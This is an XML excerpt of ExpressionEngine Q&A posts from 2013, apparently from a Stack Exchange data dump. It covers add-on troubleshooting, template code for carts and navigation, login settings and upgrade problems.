  <row Id="10220" PostTypeId="2" ParentId="10218" CreationDate="2013-05-09T12:58:55.577" Score="2" Body="&lt;p&gt;You're probably including jquery twice on the same page. Use safecracker's &lt;code&gt;include_jquery=&quot;no&quot;&lt;/code&gt; parameter. Also, be sure to include jQuery before any safecracker code. If you want to place all scripts at the bottom of the body, you can use Stash to grab the {safecracker_head} variable and place it wherever you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/Stash/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-09T12:58:55.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10221" PostTypeId="2" ParentId="10207" CreationDate="2013-05-09T13:06:50.610" Score="0" Body="&lt;p&gt;As of version 2.5.4 you can order by status - so in your status group you could have a &quot;featured&quot; status.  It would have the same effect as sticky, basically, but be visible in the edit list view (which is important in my view).  If only channel 1 used that status group (or even if both did but you only ever used &quot;featured&quot; on channel 1) it would have the effect you are going for.  You would simply use orderby=&quot;status|date&quot; and sort=&quot;asc|desc&quot; to give preference to status over date sorting.  This approach works best, however, if you only have two statuses - open and your additional custom status of &quot;featured&quot;. If you have a bunch of others, it complicates things because the entries loop will still run through ordering by status before it orders by date.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-09T13:06:50.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10222" PostTypeId="1" AcceptedAnswerId="10223" CreationDate="2013-05-09T13:32:25.143" Score="0" ViewCount="290" Body="&lt;p&gt;I have multiple matrix fields in the multiple channels.  In most channels the fields (columns) are not required.  In these cases removing rows means making sure all fields for the row are emptied.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do have matrix field however that have required fields (columns).  I can't seem to find any way to remove a row completely.  I would have expected a '-' button, similar to the '+' button, but there is none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can hardly believe this functionality is missing, so I must be missing something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tim&lt;/p&gt;&#xA;" OwnerUserId="510" LastEditorUserId="510" LastEditDate="2013-05-09T14:56:33.510" LastActivityDate="2013-05-09T15:35:12.020" Title="Removing rows in matrix when having required fields with Safecracker forms" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10223" PostTypeId="2" ParentId="10222" CreationDate="2013-05-09T13:35:28.967" Score="0" Body="&lt;p&gt;Hover over the number at the start of the matrix row and click on the downward arrow that appears. You'll then get the option to delete row.  It's subtle, but it's there. :)&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-05-09T13:35:28.967" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10224" PostTypeId="2" ParentId="9929" CreationDate="2013-05-09T14:56:08.790" Score="1" Body="&lt;p&gt;I am having the same problem.... I even rolled back the version of EE to 2.5.5 and removed the CT pluggin and also turned off extension. Still getting the error. Something has changed in my database. I am in the middle of trying a full server restoration and putting a bullet in my head.&lt;/p&gt;&#xA;" OwnerUserId="1460" LastActivityDate="2013-05-09T14:56:08.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10225" PostTypeId="1" CreationDate="2013-05-09T15:19:10.850" Score="1" ViewCount="103" Body="&lt;p&gt;A little background, we have a theory that content scrappers are using our feeds to scape and post our site content and it might be negatively effecting or search results. This topic was mentioned by Google engineer Matt Cutts at PubCon 2011. A solution that was put forth was to use &lt;a href=&quot;http://www.labnol.org/internet/fat-pings-for-content-scrapers/20400/&quot; rel=&quot;nofollow&quot;&gt;&quot;Fat Pings&quot;&lt;/a&gt;. Basically, ping Google as soon as the content is published so their servers have a strong record of the source server. Hosted services like Blogger and Wordpress.com already do this using &lt;a href=&quot;http://code.google.com/p/pubsubhubbub/&quot; rel=&quot;nofollow&quot;&gt;pubsubhubbub&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: Does anyone know if there is an existing add-on or code for doing 'pings' when content is added to a channel or feed in Expression Engine?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a couple support threads on the Ellis Labs site, but not any real mentions of a solution.&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/132321/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/132321/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://ellislab.com/forums/viewthread/229845/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/229845/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Aside:&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;Are the Ellis Labs support forums incredibly slow for anyone else or is it just me?&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="384" LastActivityDate="2013-06-04T09:42:45.910" Title="'pubsubhubbub' support for EE?" Tags="|add-on|channel-entries|seo|rss|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10226" PostTypeId="2" ParentId="10222" CreationDate="2013-05-09T15:35:12.020" Score="0" Body="&lt;p&gt;The normal functionality available in the CP (as Jean St-Amand pointed out above) is actually available in the same way on the SafeCracker forms.  In my case I had loaded my own jQuery which is not compatible with the jQuery needs of Matrix/Safecracker.  If I use the one included with SafeCracker all is well!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;T&lt;/p&gt;&#xA;" OwnerUserId="510" LastActivityDate="2013-05-09T15:35:12.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10227" PostTypeId="1" AcceptedAnswerId="10230" CreationDate="2013-05-09T15:45:35.483" Score="0" ViewCount="313" Body="&lt;p&gt;If memory serves correctly users where able to login using either email or username in a standard login form until a few days ago. The site uses zoo_visitor latest version and has been updated to EE 2.6.1 to handle the new zoo visitor forgotten password form. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Login using username/password on both Zoo and EE login forms is fine. Try using email and error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The existing username and/or password you submitted are not valid&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Is this because of the updates? My next port o' call is stepping through the php, thought id ask here first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="57" LastActivityDate="2013-05-09T16:45:12.043" Title="Zoo Visitor and/or EE login forms fail to login using email" Tags="|email|forms|login|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10228" PostTypeId="2" ParentId="10192" CreationDate="2013-05-09T15:53:38.537" Score="0" Body="&lt;p&gt;What finally worked for me was this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using a long conditional containing variables that have similar names to others, I did my conditional processing in my controller and passed back a variable that already knows the answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if deal_original_price &amp;amp;&amp;amp; deal_original_price != &quot;&quot; &amp;amp;&amp;amp; deal_original_price &amp;lt;&amp;gt; deal_total}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  {if costChange == 1}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also renamed all of my variables to be completely original - i.e. not share ANY part of the variable name with any other variable. I'm sure it's a hack that will have EE gurus yelling, but sometimes you just need to do what works.&lt;/p&gt;&#xA;" OwnerUserId="1008" LastActivityDate="2013-05-09T15:53:38.537" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10229" PostTypeId="2" ParentId="10225" CreationDate="2013-05-09T16:40:49.383" Score="2" Body="&lt;p&gt;I implemented pubsubhubbub using Superfeedr and it's working well for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...and yes, the Ellis Labs support forums are maddeningly slow for me, too. Support is now a profit center for them, so free support is worse than a cost center, it competes with their business model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edited to correct spelling of Superfeedr]&lt;/p&gt;&#xA;" OwnerUserId="1295" LastEditorUserId="1295" LastEditDate="2013-06-03T00:58:54.257" LastActivityDate="2013-06-03T00:58:54.257" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10230" PostTypeId="2" ParentId="10227" CreationDate="2013-05-09T16:45:12.043" Score="0" Body="&lt;p&gt;This is a setting in the Zoo Visitor settings page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Set username as email (login is email) [Yes/No]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you can choose which one you want to use as the login when using Zoo Visitor forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to use both (either/or) then use the standard EE login form in combination with &lt;a href=&quot;http://devot-ee.com/add-ons/nsm-email-login&quot; rel=&quot;nofollow&quot;&gt;NSM Email Login&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-09T16:45:12.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10231" PostTypeId="2" ParentId="9929" CreationDate="2013-05-09T17:03:46.103" Score="1" Body="&lt;p&gt;To summarise...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CartThrob has not been updated since the release of 2.6 (as is the case with many add-ons). I suspect it's assuming that it will find the old relationship fieldtype (which was called ft.rel.php) somewhere in its code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Until the CT guys update the CT auto-install templates to work with EE 2.6 your options will be to either work without the auto-install templates or stick with EE 2.5.5. Prior to that EE 2.5.5 would have been the download in your account. Your best bet will be to drop EllisLab an email (sales@ellislab.com) and just explain why you need the previous version. I'm sure they'll help you out.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-05-09T17:03:46.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10232" PostTypeId="2" ParentId="10205" CreationDate="2013-05-09T17:10:12.720" Score="2" Body="&lt;p&gt;Look into something like &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;Datagrab&lt;/a&gt; or &lt;a href=&quot;http://www.solspace.com/software/detail/importer/&quot; rel=&quot;nofollow&quot;&gt;Importer&lt;/a&gt; combined with, say, a nightly/hourly CRON job. It will automatically read the 3rd party service's XML and import stuff according to an import profile you create in the add-on which maps XML nodes to EE fields or categories.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-05-09T17:10:12.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10233" PostTypeId="1" AcceptedAnswerId="10243" CreationDate="2013-05-09T17:14:39.450" Score="1" ViewCount="213" Body="&lt;p&gt;can a promo code percentage  discount be applied BEFORE taxes are applied in Expresso Store?&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="422" LastEditDate="2013-05-09T17:22:45.247" LastActivityDate="2013-05-09T21:57:47.430" Title="Expresso Store: Can a promo code discount be applied BEFORE taxes are applied?" Tags="|expresso-store|discounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10234" PostTypeId="1" CreationDate="2013-05-09T17:51:16.097" Score="1" ViewCount="285" Body="&lt;p&gt;We have a page on our new EE site which is failing to load (blank/white page) because of a PHP error which I'm having some difficulty troubleshooting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The page is at &lt;a href=&quot;http://www.healthyschoolscampaign.org/programs/health-in-mind/&quot; rel=&quot;nofollow&quot;&gt;http://www.healthyschoolscampaign.org/programs/health-in-mind/&lt;/a&gt;, and the error encountered is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Please contact support about failure&#xA;Filename: libraries/Functions.php&#xA;Line Number: 683&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those familiar will know that line 683 is the function which evaluates a string as PHP. Unfortunately, due to the vagueness of the error message, I'm not sure how to tell what data is being passed as the string. I do know that other pages use the same Structure Template as this page and do not throw the same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have other seemingly random blog pages which fail to load for the exact same reason, but it is not consistent across all blog entries. Any help would be appreciated, as I'm pretty much a PHP n00b.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&#xA;Ben&lt;/p&gt;&#xA;" OwnerUserId="1461" LastActivityDate="2013-06-08T21:34:52.850" Title="String failing evaluation as PHP causing blank/white page" Tags="|php-errors|phpstringfun|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="10235" PostTypeId="2" ParentId="10234" CreationDate="2013-05-09T18:07:42.827" Score="1" Body="&lt;p&gt;Make sure the Structure URL is correct and unique. Or try creating the entry again.&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-05-09T18:07:42.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10236" PostTypeId="1" AcceptedAnswerId="10364" CreationDate="2013-05-09T19:08:44.383" Score="0" ViewCount="715" Body="&lt;p&gt;I am using the update_cart_form nested inside the cart_items_info tag, to allow customers to edit the size or quantity of their item (as well as delete it from cart). I cannot find a way to have the item option they selected as the selected option in the  (for example, if Medium is selected under the product_size, display that as the selected option)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also like to replicate this for displaying their currently chosen shipping method. Here is the code I currently am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;    {if no_results}&#xA;        &amp;lt;p&amp;gt;You have nothing in your cart. &amp;lt;a class=&quot;blue&quot; href=&quot;/shop&quot;&amp;gt;GO SHOP &amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;    {if total_items &amp;gt; 0}&#xA;        {if first_row}&#xA;             {exp:cartthrob:update_cart_form  return=&quot;checkout&quot; class=&quot;cart_form&quot;}&#xA;        {/if}&#xA;                &amp;lt;ul class=&quot;cart-table&quot;&amp;gt;&#xA;                    {if product_detail_image}&#xA;                        &amp;lt;img src=&quot;{product_detail_image:feed}&quot;/&amp;gt;&#xA;                    {if:else}&#xA;                        &amp;lt;img src=&quot;{site_url}content/img/ride.png&quot;/&amp;gt;&#xA;                    {/if}&#xA;                    &amp;lt;li&amp;gt;&amp;lt;p&amp;gt;{title} &amp;lt;span&amp;gt;Quantity: &amp;lt;input type=&quot;text&quot; name=&quot;quantity[{row_id}]&quot; size=&quot;1&quot; maxlength=&quot;2&quot; value=&quot;{quantity}&quot; /&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;p&amp;gt;{exp:cartthrob:item_options entry_id=&quot;{entry_id}&quot; }&#xA;                        {if dynamic}&#xA;                            &amp;lt;label&amp;gt;{option_label}&amp;lt;/label&amp;gt;&#xA;                            {input}&#xA;                        {if:else}&#xA;                            {if options_exist}&#xA;                                {select}  &#xA;                                    &amp;lt;option {selected} value=&quot;{option_value}&quot;&amp;gt;&#xA;                                    {option_name}{if option_price_numeric &amp;gt; 0} +{option_price}{/if}&#xA;                                    &amp;lt;/option&amp;gt;&#xA;                                {/select}&#xA;                            {/if}&#xA;                        {/if}&#xA;                        {/exp:cartthrob:item_options}&#xA;                        &amp;lt;span&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;delete[{row_id}]&quot;&amp;gt; Delete this item&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {if last_row}&#xA;                &amp;lt;select name=&quot;shipping_option&quot;&amp;gt;&#xA;                        {exp:cartthrob:get_shipping_options}&#xA;                                &amp;lt;option value=&quot;{rate_short_name}&quot; {selected}&amp;gt;{rate_title} - {rate_price}&amp;lt;/option&amp;gt;&#xA;                        {/exp:cartthrob:get_shipping_options}&#xA;                &amp;lt;/select&amp;gt;&#xA;                &amp;lt;input type=&quot;submit&quot; value=&quot;Update Cart&quot; /&amp;gt;&#xA;            {/exp:cartthrob:update_cart_form}&#xA;        {/if}&#xA;    {/if}&#xA;{/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="525" LastEditorUserId="525" LastEditDate="2013-05-13T20:41:30.087" LastActivityDate="2013-05-14T20:58:40.033" Title="How to display the chosen item_option of a product as selected option in the cart? - CartThrob" Tags="|cartthrob|shipping|shopping-cart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10237" PostTypeId="1" CreationDate="2013-05-09T20:08:49.870" Score="0" ViewCount="266" Body="&lt;p&gt;Some of my clients need to add what I would call &quot;ad-hoc&quot; pages to their sites. As many have &lt;a href=&quot;http://belikewater.ca/blog/entry/structure/&quot; rel=&quot;nofollow&quot;&gt;pointed out&lt;/a&gt;, this is (a) somewhat contrary to the spirit/concept of EE channels and (b) when necessary, arguably best handled by the &lt;a href=&quot;http://buildwithstructure.com&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a new project I'm considering skipping Structure and incorporating two channels: one called Pages and another called Sub-Pages. Both channels would have generic &lt;code&gt;{main_content}&lt;/code&gt; and &lt;code&gt;{sidebar_content}&lt;/code&gt; fields, but Sub Pages would have a &lt;code&gt;{page_assignment}&lt;/code&gt; relationship field to subordinate the page to an existing Page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would you output a dynamic navigation of titles/links with unordered lists, adding active classes as appropriate? To save space, Sub Pages belonging to a Page should only be listed when that Page or sibling Sub Pages are active. In other words, you have to &quot;click into&quot; a Page to see its Sub Pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if I'm on the Products landing page or the Products 1 sub page, the nav should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Products&#xA;    Product 1&#xA;    Product 2&#xA;    Product 3&#xA;&#xA;About the Company&#xA;&#xA;Services&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I'm on the About the Company landing page or the Our History sub page, it should look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Products&#xA;&#xA;About the Company&#xA;    About Our Team&#xA;    Our History&#xA;&#xA;Services&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastEditorUserId="489" LastEditDate="2013-05-09T20:25:35.740" LastActivityDate="2013-05-30T14:06:04.123" Title="Structure-like behavior from Channels/Relationships (EE 2.6.1)" Tags="|php|structure|navigation|pages|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10238" PostTypeId="2" ParentId="10237" CreationDate="2013-05-09T20:30:39.040" Score="0" Body="&lt;p&gt;Ok, this is the closest I've gotten. It's pretty gross. The main bug so far is that when viewing the home page (&lt;code&gt;{site_url}&lt;/code&gt;), the first top-level Page is &quot;expanded,&quot; showing its sub-page links, even though you would think &lt;code&gt;{segment_3}&lt;/code&gt; doesn't exist and therefore &lt;code&gt;$active_parent&lt;/code&gt; should be empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind my concept of parents/children is the opposite of the EE terminology for some reason.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;nav&amp;gt;&#xA;    &amp;lt;ul&amp;gt;&#xA;        {!-- if we're on a sub_page, retreive and store its parent top-level page  --}&#xA;        &amp;lt;?php $active_parent = &quot;&quot;; ?&amp;gt;&#xA;        {exp:channel:entries channel=&quot;sub_pages&quot; url_title=&quot;{segment_3}&quot; limit=&quot;1&quot; dynamic=&quot;no&quot;}&#xA;        &amp;lt;?php $active_parent = '{page_assignment}{page_assignment:url_title}{/page_assignment}';?&amp;gt;&#xA;        {/exp:channel:entries}&#xA;&#xA;        {!-- begin loop of top-level pages --}&#xA;        {exp:channel:entries channel=&quot;pages&quot; limit=&quot;99&quot; dynamic=&quot;no&quot;}&#xA;&#xA;            {!-- store this entry's url_title --}&#xA;            &amp;lt;?php $this_title = &quot;{url_title}&quot;;?&amp;gt;&#xA;            {!-- get its child sub_pages --}&#xA;            &amp;lt;?php unset($this_child_array); ?&amp;gt;&#xA;            {parents field=&quot;page_assignment&quot;}&amp;lt;?php $this_child_array[] = &quot;{parents:url_title}&quot;; ?&amp;gt;{/parents}&#xA;&#xA;&#xA;        {!-- show top-level pages --}&#xA;        &amp;lt;li &amp;lt;?php if ( (&quot;{segment_3}&quot; == &quot;{url_title}&quot;) || (in_array(&quot;{segment_3}&quot;, $this_child_array)) ) { ?&amp;gt; class=&quot;primary-active&quot;&amp;lt;?php } ?&amp;gt;&amp;gt;&#xA;            &amp;lt;a href=&quot;{comment_url_title_auto_path}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;&#xA;&#xA;            {!-- show any sub-pages under each top-level page if (a) that top-level page is active or (b) one of its sub-pages is active  --}&#xA;            &amp;lt;?php  if ( (&quot;{segment_3}&quot; == &quot;{url_title}&quot;) || ($active_parent == &quot;{url_title}&quot;) )  {  ?&amp;gt;&#xA;            {parents field=&quot;page_assignment&quot;}&#xA;                {if '{parents:count}' == '1'}&amp;lt;ul&amp;gt;{/if}&#xA;                    &amp;lt;li{if &quot;{segment_3}&quot; == &quot;{parents:url_title}&quot;} class=&quot;sub-active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{parents:comment_url_title_auto_path}&quot;&amp;gt;{parents:title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                {/parents}  &#xA;                {if '{parents:count}' == '1'}&amp;lt;/ul&amp;gt;{/if}&#xA;&#xA;                &amp;lt;?php } ?&amp;gt;&#xA;&#xA;    &amp;lt;/li&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;/nav&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="489" LastActivityDate="2013-05-09T20:30:39.040" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10239" PostTypeId="2" ParentId="10234" CreationDate="2013-05-09T20:39:11.943" Score="0" Body="&lt;p&gt;You might want to check that the url title and the structure url are exactly the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it's not a perfect fix, if you turn off PHP Warnings does the page load normally?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-05-09T20:39:11.943" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10240" PostTypeId="1" CreationDate="2013-05-09T20:43:57.777" Score="4" ViewCount="312" Body="&lt;p&gt;I have a site with 1000's of products that were originally entered incorrectly. The titles have been updated, but the URL title's still have the old data. Is it possible to bulk update these entries to with either a sql query or script?  &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-05-14T21:00:01.117" Title="Rebuild url_title fields?" Tags="|entries|url-title|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10241" PostTypeId="1" CreationDate="2013-05-09T21:28:49.370" Score="0" ViewCount="181" Body="&lt;p&gt;I'm trying to upgrade from EE 2.5.5 to 2.6.1, but I can't get through the updater.&#xA;I get to the opt-in survey page and click submit, and I get the next screen that says it's updating to 2.6.0, but then it just goes back to the survey page.&lt;/p&gt;&#xA;" OwnerUserId="213" LastActivityDate="2013-07-05T04:08:32.940" Title="EE 2.6.1 updater stuck on Survey Screen" Tags="|upgrade|ee2-upgrades|updating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10243" PostTypeId="2" ParentId="10233" CreationDate="2013-05-09T21:57:47.430" Score="1" Body="&lt;p&gt;The promo code always applies to the pre-tax price, however Store will always assume that there is some tax which needs to be discounted as well (otherwise there would be too much tax for your order).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only time this is a problem is if you have some tax-free products in your order, because the promo code will discount too much tax, since it has no way of knowing which products were actually discounted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, a percentage off the order discount shouldn't matter whether it is applied to the pre or post tax prices, right?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-09T21:57:47.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10244" PostTypeId="2" ParentId="10056" CreationDate="2013-05-09T22:04:00.053" Score="1" Body="&lt;p&gt;It's not easy to order by the sale price. That is because Store gathers a list of products and orders them (using SQL) before it decides whether a sale price is applicable. To order products by sale price would mean calculating which products are on sale and their currently applicable price in a SQL query, before ordering them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Question: why are 9/10 items on a permanent sale price? That's not exactly what the sale price field was designed for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need some sort of &quot;Suggested Retail Price&quot; which you will display crossed out next to the real price to make customers feel like they are getting a fantastic bargain, it would be better to add another custom field to your channel to use for that and use the Store price field for the actual price you are selling at.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-05-09T22:04:00.053" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10245" PostTypeId="2" ParentId="10071" CreationDate="2013-05-09T22:04:46.927" Score="0" Body="&lt;p&gt;This answer does not quite solve my initial problem but it does allow me to show if a private gallery contains any photos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added 2 columns - public and private each with a P&amp;amp;T checkbox. In 'private' I set this to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1 : private&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created each gallery separately using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{gallery search:public=&quot;public&quot;}&amp;lt;li&amp;gt;&amp;lt;img src=&quot;{imageupload}&quot;&amp;gt;&amp;lt;/li&amp;gt;{/gallery}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then,  in the private gallery I added the following text to my title: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Gallery: ({gallery:sum col=&quot;private&quot;}) images.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By having the private checkbox equalling a number I am able to output the number of images that the private gallery is showing by counting the 'private' column checks. &#xA;This lets users know whether there are any images in this hidden gallery before they send a request to view the gallery. &lt;/p&gt;&#xA;" OwnerUserId="95" LastActivityDate="2013-05-09T22:04:46.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10246" PostTypeId="2" ParentId="10240" CreationDate="2013-05-09T22:23:52.840" Score="0" Body="&lt;p&gt;If you want the URL title to follow the same format as in the CP when creating an entry. Eg My Title is my-title then a simple PHP script could batch change these as both fields are in the same table.&lt;/p&gt;&#xA;" OwnerUserId="1463" LastActivityDate="2013-05-09T22:23:52.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10247" PostTypeId="2" ParentId="10214" CreationDate="2013-05-09T22:28:31.730" Score="0" Body="&lt;p&gt;Thanks for your help, there are some excellent resources to consider when I have the time to dig in and figure them out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end I got a solution &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/9263/re-writing-playa-tags-to-disable-the-playa-extension-for-better-site-performance?rq=1&quot;&gt;similar to this&lt;/a&gt; working. Here is the code I have working now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    site=&quot;default_site&quot;&#xA;    channel=&quot;employees&quot;&#xA;    orderby=&quot;title&quot; sort=&quot;asc&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination&quot;&#xA;    limit=&quot;10000&quot;&#xA;    entry_id=&quot;{alpha_ids}&quot;&#xA;    cache=&quot;yes&quot; refresh=&quot;720&quot;&#xA;}&#xA;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{p_position}&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        {exp:playa:children&#xA;            site=&quot;default_site&quot;&#xA;            field=&quot;p_locations&quot;&#xA;            col=&quot;office&quot;&#xA;            limit=&quot;1&quot;&#xA;            disable=&quot;custom_fields|categories|category_fields|member_data|pagination&quot;&#xA;        }&#xA;            {title}&#xA;        {/exp:playa:children}&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        {if p_locations}{p_locations limit=&quot;1&quot;}{phone}{/p_locations}{/if}&#xA;        {if p_locations == &quot;&quot;}{p_phone}{/if}&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;{p_email_address}&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Basically, the change just reduces a call to Matrix and skips straight to pulling the Playa data.&lt;/p&gt;&#xA;" OwnerUserId="156" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-05-09T22:28:31.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
